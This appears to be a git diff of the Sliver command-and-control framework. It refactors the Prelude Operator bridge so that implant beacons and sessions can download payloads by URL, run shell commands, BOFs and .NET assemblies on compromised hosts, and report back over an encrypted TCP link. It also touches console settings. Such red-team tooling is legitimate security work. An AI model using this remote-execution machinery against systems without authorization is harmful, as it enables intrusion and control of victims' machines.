+	tw.AppendRow(table.Row{"Small Term Width", con.Settings.SmallTermWidth, "Omit some table columns when terminal width is less than this value"})
+	tw.AppendRow(table.Row{"Always Overflow", con.Settings.AlwaysOverflow, "Disable table pagination"})
 	con.Printf("%s\n", tw.Render())
 }
 
+// SettingsAlwaysOverflow - Toggle always overflow
+func SettingsAlwaysOverflow(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	var err error
+	if con.Settings == nil {
+		con.Settings, err = assets.LoadSettings()
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+	}
+	con.Settings.AlwaysOverflow = !con.Settings.AlwaysOverflow
+	con.PrintInfof("Always overflow = %v\n", con.Settings.AlwaysOverflow)
+}
+
+// SettingsSmallTerm - Modify small terminal width value
+func SettingsSmallTerm(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	var err error
+	if con.Settings == nil {
+		con.Settings, err = assets.LoadSettings()
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+	}
+	result := ""
+	prompt := &survey.Input{Message: "Set small width:"}
+	err = survey.AskOne(prompt, &result)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	newWidth, err := strconv.Atoi(result)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if newWidth < 1 {
+		con.PrintErrorf("Invalid width (too small)\n")
+		return
+	}
+	con.Settings.SmallTermWidth = newWidth
+	con.PrintInfof("Small terminal width set to %d\n", con.Settings.SmallTermWidth)
+}
+
 // SettingsTablesCmd - The client settings command
 func SettingsTablesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	var err error

client/command/settings/tables.go

@@ -27,7 +27,7 @@ import (
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/jedib0t/go-pretty/v6/table"
 	"github.com/jedib0t/go-pretty/v6/text"
-	"golang.org/x/crypto/ssh/terminal"
+	"golang.org/x/term"
 )
 
 var (
@@ -181,9 +181,9 @@ func PagesOf(renderedTable string) [][]string {
 func PaginateTable(tw table.Writer, skipPages int, overflow bool, interactive bool, con *console.SliverConsoleClient) {
 	renderedTable := tw.Render()
 	lineCount := strings.Count(renderedTable, "\n")
-	if !overflow {
+	if !overflow || con.Settings.AlwaysOverflow {
 		// Only paginate if the number of lines is at least 2x the terminal height
-		width, height, err := terminal.GetSize(0)
+		width, height, err := term.GetSize(0)
 		if err == nil && 2*height < lineCount {
 			if 7 < height {
 				tw.SetPageSize(height - 6)

client/command/tasks/fetch.go

@@ -358,6 +358,14 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
 		}
 		filesystem.PrintLs(ls, flags, "", con)
 
+	case sliverpb.MsgMvReq:
+		mv := &sliverpb.Mv{}
+		err := proto.Unmarshal(task.Response, mv)
+		if err != nil {
+			con.PrintErrorf("Failed to decode task response: %s\n", err)
+			return
+		}
+
 	case sliverpb.MsgMkdirReq:
 		mkdir := &sliverpb.Mkdir{}
 		err := proto.Unmarshal(task.Response, mkdir)
@@ -446,6 +454,14 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
 		}
 		privilege.PrintGetSystem(getSystem, con)
 
+	case sliverpb.MsgCurrentTokenOwnerReq:
+		cto := &sliverpb.CurrentTokenOwner{}
+		err := proto.Unmarshal(task.Response, cto)
+		if err != nil {
+			con.PrintErrorf("Failed to decode task response: %s\n", err)
+			return
+		}
+
 	case sliverpb.MsgImpersonateReq:
 		impersonateReq := &sliverpb.ImpersonateReq{}
 		err := proto.Unmarshal(task.Response, impersonateReq)

client/command/use/use.go

@@ -70,7 +70,7 @@ func SessionOrBeaconByID(id string, con *console.SliverConsoleClient) (*clientpb
 	}
 	if err == nil {
 		for _, session := range sessions.Sessions {
-			if session.ID == id {
+			if strings.HasPrefix(session.ID, id) {
 				return session, nil, nil
 			}
 		}

client/console/console.go

@@ -195,8 +195,8 @@ func (con *SliverConsoleClient) EventLoop() {
 				shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
 
 			// Prelude Operator
-			if prelude.SessionMapper != nil {
-				err = prelude.SessionMapper.AddSession(session)
+			if prelude.ImplantMapper != nil {
+				err = prelude.ImplantMapper.AddImplant(session, nil)
 				if err != nil {
 					con.PrintEventErrorf("Could not add session to Operator: %s", err)
 				}
@@ -220,8 +220,8 @@ func (con *SliverConsoleClient) EventLoop() {
 				con.PrintEventErrorf("Active session disconnected")
 				con.App.SetPrompt(con.GetPrompt())
 			}
-			if prelude.SessionMapper != nil {
-				err = prelude.SessionMapper.RemoveSession(session)
+			if prelude.ImplantMapper != nil {
+				err = prelude.ImplantMapper.RemoveImplant(session)
 				if err != nil {
 					con.PrintEventErrorf("Could not remove session from Operator: %s", err)
 				}
@@ -236,6 +236,16 @@ func (con *SliverConsoleClient) EventLoop() {
 			con.PrintEventInfof("Beacon %s %s - %s (%s) - %s/%s - %v",
 				shortID, beacon.Name, beacon.RemoteAddress, beacon.Hostname, beacon.OS, beacon.Arch, currentTime)
 
+			// Prelude Operator
+			if prelude.ImplantMapper != nil {
+				err = prelude.ImplantMapper.AddImplant(beacon, func(taskID string, cb func(*clientpb.BeaconTask)) {
+					con.AddBeaconCallback(taskID, cb)
+				})
+				if err != nil {
+					con.PrintEventErrorf("Could not add beacon to Operator: %s", err)
+				}
+			}
+
 		case consts.BeaconTaskResultEvent:
 			con.triggerBeaconTaskCallback(event.Data)
 		}

client/constants/constants.go

@@ -167,6 +167,7 @@ const (
 	ExecuteStr = "execute"
 
 	LsStr       = "ls"
+	MvStr       = "mv"
 	RmStr       = "rm"
 	MkdirStr    = "mkdir"
 	CdStr       = "cd"

client/prelude/agent-session.go

@@ -1,166 +0,0 @@
-package prelude
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"bufio"
-	"bytes"
-	"context"
-	"encoding/json"
-	"fmt"
-	"io"
-	"io/ioutil"
-	"net"
-	"net/http"
-	"strings"
-	"time"
-
-	"github.com/bishopfox/sliver/client/prelude/util"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
-	"github.com/bishopfox/sliver/protobuf/commonpb"
-	"github.com/bishopfox/sliver/protobuf/rpcpb"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
-)
-
-const (
-	defaultTimeout = 60
-	delim          = "\r\n"
-)
-
-type AgentSession struct {
-	Conn    *net.Conn
-	Session *clientpb.Session
-	RPC     rpcpb.SliverRPCClient
-	Beacon  Beacon
-	Config  AgentConfig
-}
-
-func NewAgentSession(c *net.Conn, s *clientpb.Session, rpc rpcpb.SliverRPCClient, b Beacon, conf AgentConfig) *AgentSession {
-	return &AgentSession{
-		Conn:    c,
-		Session: s,
-		RPC:     rpc,
-		Config:  conf,
-		Beacon:  b,
-	}
-}
-
-func (a *AgentSession) ReceiveLoop() {
-	for {
-		err := a.send()
-		if err != nil {
-			return
-		}
-		scanner := bufio.NewScanner(*a.Conn)
-		for scanner.Scan() {
-			message := strings.TrimSpace(scanner.Text())
-			err = a.respond(message)
-			if err != nil {
-				return
-			}
-		}
-	}
-}
-
-func (a *AgentSession) send() error {
-	data, err := json.Marshal(a.Beacon)
-	if err != nil {
-		return err
-	}
-	dataBuff := bytes.NewReader(append(util.Encrypt(data), "\n"...))
-	sendBuffer := make([]byte, 1024)
-	for {
-		_, err := dataBuff.Read(sendBuffer)
-		if err == io.EOF {
-			return nil
-		}
-		if err != nil {
-			return err
-		}
-		if _, err = (*a.Conn).Write(sendBuffer); err != nil {
-			return err
-		}
-		time.Sleep(time.Duration(a.Beacon.Sleep))
-	}
-}
-
-func (a *AgentSession) respond(message string) error {
-	var tempBeacon Beacon
-	if err := json.Unmarshal([]byte(util.Decrypt(message)), &tempBeacon); err == nil {
-		a.Beacon.Links = a.Beacon.Links[:0]
-		a.runLinks(&tempBeacon)
-	}
-	a.refreshBeacon(&a.Config)
-	a.send()
-	return nil
-}
-
-func (a *AgentSession) runLinks(tempBeacon *Beacon) {
-	for _, link := range a.Config.StartInstructions(tempBeacon.Links) {
-		time.Sleep(time.Second * 1)
-		var payload []byte
-		if link.Payload != "" {
-			payload, _ = requestPayload(link.Payload)
-		}
-		response, status, pid := RunCommand(link.Request, link.Executor, payload, a)
-		link.Response = response
-		link.Status = status
-		link.Pid = pid
-		a.Beacon.Links = append(a.Beacon.Links, link)
-		a.Config.EndInstruction(link)
-	}
-}
-
-func requestPayload(target string) ([]byte, error) {
-	resp, err := http.Get(target)
-	if err != nil {
-		return nil, err
-	}
-	if resp.StatusCode != 200 {
-		return nil, fmt.Errorf("invalid status code: %d", resp.StatusCode)
-	}
-	return ioutil.ReadAll(resp.Body)
-}
-
-func (a *AgentSession) refreshBeacon(conf *AgentConfig) {
-	var pwd string
-	pwdResp, _ := a.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
-		Request: MakeRequest(a.Session),
-	})
-	if pwdResp != nil {
-		pwd = pwdResp.Path
-	}
-	a.Beacon.Sleep = conf.Sleep
-	a.Beacon.Range = conf.Range
-	a.Beacon.Pwd = pwd
-	a.Beacon.Target = conf.Address
-	a.Beacon.Executing = conf.BuildExecutingHash()
-
-}
-
-func MakeRequest(session *clientpb.Session) *commonpb.Request {
-	if session == nil {
-		return nil
-	}
-	timeout := int64(defaultTimeout)
-	return &commonpb.Request{
-		SessionID: session.ID,
-		Timeout:   timeout,
-	}
-}

client/prelude/bof.go

@@ -1,5 +1,23 @@
 package prelude
 
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
 import (
 	"bytes"
 	"context"
@@ -9,7 +27,6 @@ import (
 
 	"github.com/bishopfox/sliver/client/assets"
 	"github.com/bishopfox/sliver/client/core"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/rpcpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 )
@@ -25,9 +42,9 @@ type bofArgs struct {
 	Value   interface{} `json:"value"`
 }
 
-func runBOF(session *clientpb.Session, rpc rpcpb.SliverRPCClient, bof []byte, args []bofArgs) (output string, err error) {
-	if !isLoaderLoaded(session, rpc) {
-		err = registerLoader(session, rpc)
+func runBOF(implant ActiveImplant, rpc rpcpb.SliverRPCClient, bof []byte, args []bofArgs, onFinishCallback func(string, int, int)) (output string, err error) {
+	if !isLoaderLoaded(implant, rpc) {
+		err = registerLoader(implant, rpc)
 		if err != nil {
 			return
 		}
@@ -37,6 +54,8 @@ func runBOF(session *clientpb.Session, rpc rpcpb.SliverRPCClient, bof []byte, ar
 	}
 	for _, a := range args {
 		switch a.ArgType {
+		case "integer":
+			fallthrough
 		case "int":
 			if v, ok := a.Value.(float64); ok {
 				err = bofArgs.AddInt(uint32(v))
@@ -89,13 +108,19 @@ func runBOF(session *clientpb.Session, rpc rpcpb.SliverRPCClient, bof []byte, ar
 		ServerStore: false,
 		Args:        extArgsBuffer,
 		Export:      loaderEntryPoint,
-		Request:     MakeRequest(session),
+		Request:     MakeRequest(implant),
 	})
 
 	if err != nil {
 		return
 	}
 
+	// If Async req, onFinishCallback won't be nil
+	if onFinishCallback != nil {
+		onFinishCallback(string(extResp.Output), SuccessExitStatus, int(implant.GetPID()))
+		return
+	}
+
 	if extResp.Response != nil && extResp.Response.Err != "" {
 		err = errors.New(extResp.Response.Err)
 	}
@@ -104,16 +129,16 @@ func runBOF(session *clientpb.Session, rpc rpcpb.SliverRPCClient, bof []byte, ar
 	return
 }
 
-func registerLoader(session *clientpb.Session, rpc rpcpb.SliverRPCClient) error {
+func registerLoader(implant ActiveImplant, rpc rpcpb.SliverRPCClient) error {
 	var coffLoaderPath string
 
-	switch session.Arch {
+	switch implant.GetArch() {
 	case "amd64":
 		coffLoaderPath = "COFFLoader.x64.dll"
 	case "386":
 		coffLoaderPath = "COFFLoader.x86.dll"
 	}
-	loaderPath := path.Join(assets.GetExtensionsDir(), "windows", session.Arch, coffLoaderPath)
+	loaderPath := path.Join(assets.GetExtensionsDir(), coffLoaderName, coffLoaderPath)
 	loaderData, err := ioutil.ReadFile(loaderPath)
 	if err != nil {
 		return err
@@ -121,9 +146,9 @@ func registerLoader(session *clientpb.Session, rpc rpcpb.SliverRPCClient) error
 	resp, err := rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
 		Name:    coffLoaderName,
 		Data:    loaderData,
-		OS:      session.OS,
+		OS:      implant.GetOS(),
 		Init:    "",
-		Request: MakeRequest(session),
+		Request: MakeRequest(implant),
 	})
 	if err != nil {
 		return err
@@ -134,9 +159,9 @@ func registerLoader(session *clientpb.Session, rpc rpcpb.SliverRPCClient) error
 	return nil
 }
 
-func isLoaderLoaded(session *clientpb.Session, rpc rpcpb.SliverRPCClient) bool {
+func isLoaderLoaded(implant ActiveImplant, rpc rpcpb.SliverRPCClient) bool {
 	extList, err := rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
-		Request: MakeRequest(session),
+		Request: MakeRequest(implant),
 	})
 	if err != nil {
 		return false

client/prelude/bridge.go

@@ -0,0 +1,206 @@
+package prelude
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"bufio"
+	"context"
+	"encoding/hex"
+	"encoding/json"
+	"fmt"
+	"io/ioutil"
+	"net"
+	"net/http"
+	"strings"
+	"time"
+
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/bishopfox/sliver/protobuf/rpcpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/bishopfox/sliver/util"
+)
+
+const (
+	defaultTimeout = 60
+	delim          = "\r\n"
+)
+
+// OperatorImplantBridge maps the Sliver implants (whether it be a beacon or a session)
+// to a Prelude Operator implant with a TCP transport.
+type OperatorImplantBridge struct {
+	Conn           *net.Conn
+	Implant        ActiveImplant
+	RPC            rpcpb.SliverRPCClient
+	PBeacon        OperatorBeacon
+	BeaconCallback func(string, func(*clientpb.BeaconTask))
+	Config         AgentConfig
+
+	recv chan []byte
+	send chan []byte
+}
+
+func NewImplantBridge(c *net.Conn, a ActiveImplant, rpc rpcpb.SliverRPCClient, pbeacon OperatorBeacon, conf AgentConfig, callback func(string, func(*clientpb.BeaconTask))) *OperatorImplantBridge {
+	return &OperatorImplantBridge{
+		Conn:           c,
+		Implant:        a,
+		RPC:            rpc,
+		Config:         conf,
+		BeaconCallback: callback,
+		PBeacon:        pbeacon,
+		recv:           make(chan []byte),
+		send:           make(chan []byte),
+	}
+}
+
+func (a *OperatorImplantBridge) register() {
+	data, err := json.Marshal(a.PBeacon)
+	if err != nil {
+		return
+	}
+	encrypted := util.Encrypt(data, []byte(a.Config.AESKey), nil)
+	dataBuff := append([]byte(fmt.Sprintf("%x", encrypted)), "\n"...)
+	(*a.Conn).Write(dataBuff)
+}
+
+func (a *OperatorImplantBridge) ReceiveLoop() {
+	a.register()
+	go func() {
+		for {
+			data := <-a.send
+			encrypted := util.Encrypt(data, []byte(a.Config.AESKey), nil)
+			dataBuff := append([]byte(fmt.Sprintf("%x", encrypted)), "\n"...)
+			(*a.Conn).Write(dataBuff)
+			time.Sleep(time.Duration(a.PBeacon.Sleep))
+		}
+	}()
+	for {
+		scanner := bufio.NewScanner(*a.Conn)
+		for scanner.Scan() {
+			msg := strings.TrimSpace(scanner.Text())
+			a.handleMessage(msg)
+		}
+	}
+}
+
+func (a *OperatorImplantBridge) handleMessage(message string) {
+	var tempBeacon OperatorBeacon
+	decoded, err := hex.DecodeString(message)
+	if err != nil {
+		return
+	}
+	if err := json.Unmarshal(util.Decrypt(decoded, []byte(a.Config.AESKey)), &tempBeacon); err == nil {
+		a.PBeacon.Links = a.PBeacon.Links[:0]
+		a.runLinks(&tempBeacon)
+	}
+}
+
+func (implantBridge *OperatorImplantBridge) runLinks(tempBeacon *OperatorBeacon) {
+	for _, link := range implantBridge.Config.StartInstructions(tempBeacon.Links) {
+		time.Sleep(time.Second * 1)
+		var payload []byte
+		if link.Payload != "" {
+			payload, _ = requestPayload(link.Payload)
+		}
+
+		// If we're running on a Beacon
+		if implantBridge.BeaconCallback != nil {
+			RunCommand(link.Request, link.Executor, payload, implantBridge, func(response string, status int, pid int) {
+				link.Response = response
+				link.Status = status
+				link.Pid = pid
+				implantBridge.PBeacon.Links = append(implantBridge.PBeacon.Links, link)
+				implantBridge.Config.EndInstruction(link)
+				implantBridge.refreshBeacon()
+				data, err := json.Marshal(implantBridge.PBeacon)
+				if err != nil {
+					return
+				}
+				implantBridge.send <- data
+			})
+			return
+		}
+		// Running on a Session
+		response, status, pid := RunCommand(link.Request, link.Executor, payload, implantBridge, nil)
+		link.Response = response
+		link.Status = status
+		link.Pid = pid
+		implantBridge.PBeacon.Links = append(implantBridge.PBeacon.Links, link)
+		implantBridge.Config.EndInstruction(link)
+		implantBridge.refreshBeacon()
+		data, err := json.Marshal(implantBridge.PBeacon)
+		if err != nil {
+			return
+		}
+		implantBridge.send <- data
+
+	}
+}
+
+func requestPayload(target string) ([]byte, error) {
+	resp, err := http.Get(target)
+	if err != nil {
+		return nil, err
+	}
+	if resp.StatusCode != 200 {
+		return nil, fmt.Errorf("invalid status code: %d", resp.StatusCode)
+	}
+	return ioutil.ReadAll(resp.Body)
+}
+
+func (a *OperatorImplantBridge) refreshBeacon() {
+	var pwd string
+	pwdResp, _ := a.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
+		Request: MakeRequest(a.Implant),
+	})
+	if pwdResp != nil {
+		pwd = pwdResp.Path
+	}
+	a.PBeacon.Sleep = a.Config.Sleep
+	a.PBeacon.Range = a.Config.Range
+	a.PBeacon.Pwd = pwd
+	a.PBeacon.Target = a.Config.Address
+	a.PBeacon.Executing = a.Config.BuildExecutingHash()
+
+}
+
+func MakeRequest(a ActiveImplant) *commonpb.Request {
+	timeout := int64(defaultTimeout)
+	req := &commonpb.Request{
+		Timeout: timeout,
+	}
+	if a == nil {
+		return nil
+	}
+
+	beacon, ok := a.(*clientpb.Beacon)
+	if ok {
+		req.BeaconID = beacon.ID
+		req.Async = true
+		return req
+	}
+	session, ok := a.(*clientpb.Session)
+	if ok {
+		req.SessionID = session.ID
+		req.Async = false
+		return req
+	}
+
+	return nil
+}

client/prelude/commands.go

@@ -2,7 +2,7 @@ package prelude
 
 /*
 	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
+	Copyright (C) 2022  Bishop Fox
 
 	This program is free software: you can redistribute it and/or modify
 	it under the terms of the GNU General Public License as published by
@@ -24,11 +24,13 @@ import (
 	"fmt"
 	"strings"
 
+	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
 )
 
 //RunCommand executes a given command
-func RunCommand(message string, executor string, payload []byte, agentSession *AgentSession) (string, int, int) {
+func RunCommand(message string, executor string, payload []byte, agentSession *OperatorImplantBridge, onFinish func(string, int, int)) (string, int, int) {
 	switch executor {
 	case "keyword":
 		task := splitMessage(message, '.')
@@ -46,7 +48,25 @@ func RunCommand(message string, executor string, payload []byte, agentSession *A
 			if payload == nil {
 				return "missing BOF file", ErrorExitStatus, ErrorExitStatus
 			}
-			out, err := runBOF(agentSession.Session, agentSession.RPC, payload, bargs)
+			out, err := runBOF(agentSession.Implant, agentSession.RPC, payload, bargs, onFinish)
+			if err != nil {
+				return err.Error(), ErrorExitStatus, ErrorExitStatus
+			}
+			return out, 0, 0
+		case "execute-assembly":
+			if len(task) < 2 {
+				break
+			}
+			var eaargs execasmArgs
+			argStr := strings.ReplaceAll(task[1], `\`, `\\`)
+			err := json.Unmarshal([]byte(argStr), &eaargs)
+			if err != nil {
+				return err.Error(), ErrorExitStatus, ErrorExitStatus
+			}
+			if payload == nil {
+				return "missing .NET assembly", ErrorExitStatus, ErrorExitStatus
+			}
+			out, err := execAsm(agentSession.Implant, agentSession.RPC, payload, eaargs, onFinish)
 			if err != nil {
 				return err.Error(), ErrorExitStatus, ErrorExitStatus
 			}
@@ -57,30 +77,47 @@ func RunCommand(message string, executor string, payload []byte, agentSession *A
 			return "Keyword selected not available for agent", ErrorExitStatus, ErrorExitStatus
 		}
 	default:
-		bites, status, pid := execute(message, executor, agentSession)
+		bites, status, pid := execute(message, executor, agentSession, onFinish)
 		return string(bites), status, pid
 	}
 	return "", ErrorExitStatus, ErrorExitStatus
 }
 
-func execute(cmd string, executor string, agentSession *AgentSession) (string, int, int) {
+func execute(cmd string, executor string, implantBridge *OperatorImplantBridge, onFinishCallback func(string, int, int)) (string, int, int) {
 	args := append(getCmdArg(executor), cmd)
 	if executor == "psh" {
 		executor = "powershell.exe"
+	} else if executor == "exec" {
+		commandSections := strings.Fields(cmd)
+		executor = commandSections[0]
+		args = commandSections[1:]
 	}
-	execResp, err := agentSession.RPC.Execute(context.Background(), &sliverpb.ExecuteReq{
+	execResp, err := implantBridge.RPC.Execute(context.Background(), &sliverpb.ExecuteReq{
 		Path:    executor,
 		Args:    args,
 		Output:  true,
-		Request: MakeRequest(agentSession.Session),
+		Request: MakeRequest(implantBridge.Implant),
 	})
 
 	if err != nil {
-		return fmt.Sprintf("Error: %s\n", err.Error()), 0, 0
+		return fmt.Sprintf("Error: %s\n", err.Error()), -1, -1
 	}
 
+	// Beacon
+	if execResp.Response != nil && execResp.Response.Async {
+		implantBridge.BeaconCallback(execResp.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, execResp)
+			if err != nil {
+				return
+			}
+			onFinishCallback(string(execResp.Stdout), int(execResp.Status), int(execResp.Pid))
+		})
+		return "", 0, 0
+	}
+
+	// Session
 	if execResp.Response != nil && execResp.Response.Err != "" {
-		return execResp.Response.Err, 0, 0
+		return execResp.Response.Err, SuccessExitStatus, SuccessExitStatus
 	}
 	return string(execResp.Stdout), int(execResp.Status), int(execResp.Pid)
 }
@@ -89,9 +126,11 @@ func getCmdArg(executor string) []string {
 	var args []string
 	switch executor {
 	case "cmd":
-		args = []string{"/C", "/S"}
+		args = []string{"/S", "/C"}
 	case "powershell", "psh":
-		args = []string{"-execu", "ByPasS", "-C"}
+		args = []string{"-execu", "-C"}
+	case "exec":
+		args = []string{}
 	case "sh", "bash", "zsh":
 		args = []string{"-c"}
 	}
@@ -109,13 +148,13 @@ func splitMessage(message string, splitRune rune) []string {
 	return values
 }
 
-func shutdown(agentSession *AgentSession) (string, int, int) {
+func shutdown(agentSession *OperatorImplantBridge) (string, int, int) {
 	_, err := agentSession.RPC.Kill(context.Background(), &sliverpb.KillReq{
 		Force:   false,
-		Request: MakeRequest(agentSession.Session),
+		Request: MakeRequest(agentSession.Implant),
 	})
 	if err != nil {
 		return err.Error(), ErrorExitStatus, ErrorExitStatus
 	}
-	return fmt.Sprintf("Terminated %s", agentSession.Session.Name), SuccessExitStatus, SuccessExitStatus
+	return fmt.Sprintf("Terminated %s", agentSession.Implant.GetID()), SuccessExitStatus, int(agentSession.Implant.GetPID())
 }

client/prelude/config.go

@@ -2,7 +2,7 @@ package prelude
 
 /*
 	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
+	Copyright (C) 2022  Bishop Fox
 
 	This program is free software: you can redistribute it and/or modify
 	it under the terms of the GNU General Public License as published by
@@ -32,7 +32,7 @@ const (
 
 type Configuration interface {
 	ApplyConfig(ac map[string]interface{})
-	BuildBeacon() Beacon
+	BuildBeacon() OperatorBeacon
 }
 
 type AgentConfig struct {
@@ -52,7 +52,7 @@ type AgentConfig struct {
 	Executing      map[string]Instruction
 }
 
-type Beacon struct {
+type OperatorBeacon struct {
 	Name      string
 	Target    string
 	Hostname  string

client/prelude/execute-assembly.go

@@ -0,0 +1,68 @@
+package prelude
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"errors"
+
+	"github.com/bishopfox/sliver/protobuf/rpcpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+)
+
+type execasmArgs struct {
+	IsDLL        bool   `json:"isDLL"`
+	Process      string `json:"process"`
+	Arguments    string `json:"arguments"`
+	Architecture string `json:"architecture"`
+	Method       string `json:"method"`
+	Class        string `json:"class"`
+	AppDomain    string `json:"appDomain"`
+}
+
+func execAsm(implant ActiveImplant, rpc rpcpb.SliverRPCClient, asm []byte, args execasmArgs, onFinishCallback func(string, int, int)) (output string, err error) {
+	extResp, err := rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
+		Request:   MakeRequest(implant),
+		IsDLL:     args.IsDLL,
+		Process:   args.Process,
+		Arguments: args.Arguments,
+		Assembly:  asm,
+		Arch:      args.Architecture,
+		Method:    args.Method,
+		ClassName: args.Class,
+		AppDomain: args.AppDomain,
+	})
+
+	if err != nil {
+		return
+	}
+
+	// If Async req, onFinishCallback won't be nil
+	if onFinishCallback != nil {
+		onFinishCallback(string(extResp.Output), SuccessExitStatus, int(implant.GetPID()))
+		return
+	}
+
+	if extResp.Response != nil && extResp.Response.Err != "" {
+		err = errors.New(extResp.Response.Err)
+	}
+	output = string(extResp.Output)
+
+	return
+}

client/prelude/prelude.go

@@ -2,7 +2,7 @@ package prelude
 
 /*
 	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
+	Copyright (C) 2022  Bishop Fox
 
 	This program is free software: you can redistribute it and/or modify
 	it under the terms of the GNU General Public License as published by
@@ -21,7 +21,6 @@ package prelude
 import (
 	"context"
 	"errors"
-	"fmt"
 	"net"
 	"sync"
 
@@ -31,7 +30,7 @@ import (
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 )
 
-var SessionMapper *PreludeSessionMapper
+var ImplantMapper *OperatorImplantMapper
 
 const defaultImplantSleep = 5
 
@@ -42,30 +41,45 @@ type OperatorConfig struct {
 	AESKey      string
 }
 
-type PreludeSessionMapper struct {
-	sessions []*AgentSession
-	conf     *OperatorConfig
+// OperatorImplantMapper maps an OperatorConfig with
+// active Sliver implant sessions/beacons
+type OperatorImplantMapper struct {
+	implantBridges []*OperatorImplantBridge
+	conf           *OperatorConfig
 	sync.Mutex
 }
 
-func InitSessionMapper(conf *OperatorConfig) *PreludeSessionMapper {
-	if SessionMapper == nil {
-		SessionMapper = &PreludeSessionMapper{
-			sessions: make([]*AgentSession, 0),
-			conf:     conf,
-		}
-	}
-	return SessionMapper
+// ActiveImplant exposes common methods between
+// Sliver clientpb.Session and clientpb.Beacon
+// that are required by Operator implants
+type ActiveImplant interface {
+	GetID() string
+	GetHostname() string
+	GetPID() int32
+	GetOS() string
+	GetArch() string
+	GetFilename() string
+	GetReconnectInterval() int64
 }
 
-func (p *PreludeSessionMapper) AddSession(s *clientpb.Session) error {
+func InitImplantMapper(conf *OperatorConfig) *OperatorImplantMapper {
+	if ImplantMapper == nil {
+		ImplantMapper = &OperatorImplantMapper{
+			implantBridges: make([]*OperatorImplantBridge, 0),
+			conf:           conf,
+		}
+	}
+	return ImplantMapper
+}
+
+func (p *OperatorImplantMapper) AddImplant(a ActiveImplant, callback func(string, func(*clientpb.BeaconTask))) error {
 	var pwd string
 	conn, err := net.Dial("tcp", p.conf.OperatorURL)
 	if err != nil {
 		return err
 	}
 	pwdResp, err := p.conf.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
-		Request: MakeRequest(s),
+		Request: MakeRequest(a),
 	})
 	if err != nil {
 		return err
@@ -73,55 +87,57 @@ func (p *PreludeSessionMapper) AddSession(s *clientpb.Session) error {
 	if pwdResp != nil {
 		pwd = pwdResp.Path
 	}
-	// Operator implants have embedded static IDs, but we don't,
-	// so to avoid having multiple sessions showing as one on the Operator
-	// GUI, we need to have a unique name for them.
-	// Plus, having the ID in the name will help the user to make the
-	// correlation.
-	sessName := fmt.Sprintf("%s-%s", s.Name, s.ID)
-	beacon := Beacon{
-		Name:      sessName,
+
